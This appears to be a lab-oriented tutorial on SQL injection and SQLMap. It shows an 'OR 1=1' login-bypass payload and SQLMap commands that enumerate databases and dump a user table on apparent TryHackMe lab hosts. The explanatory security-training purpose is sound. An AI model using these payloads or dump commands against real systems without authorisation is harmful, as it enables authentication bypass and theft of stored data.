

SQL Injection & SQLMap – Concept, Purpose and Practical Steps

This document explains **how applications interact with databases**, how **SQL Injection (SQLi)** occurs, and how attackers (or penetration testers) can use **SQLMap** to detect and exploit SQL injection vulnerabilities in a controlled and authorized environment.

1. Application and Database Interaction

Websites and applications interact with databases to: - Store data - Modify data - Retrieve data

This interaction is performed using **SQL (Structured Query Language)** queries. When users submit input (such as login credentials), the application constructs an SQL query and sends it to the database for execution.

2. Example: Normal Login Process

User Input

- **Username:** John
- **Password:** Un@detectable444

SQL Query Generated by the Application

```
SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';
```

Explanation

- The database checks if **both username and password match**
 - The **AND** condition requires both values to be correct
 - If matched, user details are returned and login is successful
-

3. What is SQL Injection?

SQL Injection (SQLi) is a vulnerability that occurs when: - User input is **not properly validated or sanitized**
- Attackers can inject malicious SQL code into input fields

A successful SQL injection attack can: - Bypass authentication - Extract sensitive data - Modify or delete database records - Fully compromise an application

 **Important:** SQL injection testing must only be performed with explicit permission.

4. SQL Injection Login Bypass Example

Attacker Input

- Username: John
- Password: `abc' OR 1=1;-- -`

Resulting SQL Query

```
SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';
```

Why This Works

- `'abc'` closes the password string
- `OR 1=1` is always true
- `-- -` comments out the remaining SQL query
- The database evaluates the condition as **true**, bypassing authentication

5. What is SQLMap?

SQLMap is an **automated SQL injection testing and exploitation tool** used to: - Detect SQL injection vulnerabilities - Enumerate databases - Extract tables and records

SQLMap is a command-line tool commonly used in: - Penetration testing - Bug bounty testing - Security labs (TryHackMe, HTB)

6. Purpose of SQLMap

SQLMap helps security professionals to: - Automate SQL injection discovery - Avoid manual payload crafting - Extract database information efficiently

7. SQLMap Basic Usage

Help and Guided Mode

```
sqlmap --help  
sqlmap --wizard
```

- `--help` lists all available options
- `--wizard` guides beginners step-by-step

8. Identifying Vulnerable URLs (GET Requests)

URLs containing **GET parameters** are often potential SQL injection points.

Example Vulnerable URL

```
http://sqlmaptesting.thm/search?cat=1
```

The parameter `cat=1` can be tested using SQLMap.

9. SQLMap Practical Exploitation Steps

Step 1: Enumerate Databases

```
sqlmap -u 'http://10.10.79.8/ai/includes/user_login?email=test&password=test' --  
dbs --level=5
```

Purpose: - Detect SQL injection - List all available databases

Step 2: Enumerate Tables in a Database

```
sqlmap -u 'http://10.10.79.8/ai/includes/user_login?email=test&password=test' -  
D ai --tables --level=5
```

Purpose: - Identify all tables inside the `ai` database

Step 3: Dump Table Records

```
sqlmap -u 'http://10.10.79.8/ai/includes/user_login?email=test&password=test' -  
D ai -T user --dump --level=5
```

Purpose: - Extract all records from the `user` table

10. Handling Hidden GET Parameters

Sometimes, GET parameters are **not visible in the URL** (e.g., login pages).

Steps to Extract the Full Request

1. Right-click on the webpage → Inspect
2. Open the **Network** tab
3. Enter test credentials and submit
4. Capture the GET request
5. Copy the full URL with parameters

Example Captured URL

```
http://10.82.143.5/ai/includes/user_login?email=test&password=test
```

Use this URL with SQLMap.

11. Important SQLMap Notes

- Always wrap URLs in **single quotes** (' ')
 - Use `--level=5` for deep testing
 - Answer SQLMap prompts appropriately to continue scans
-

12. Conclusion

SQL Injection is one of the most critical web vulnerabilities. Understanding how SQL queries work, how injection occurs, and how to safely use tools like SQLMap is essential for both attackers and defenders in cybersecurity.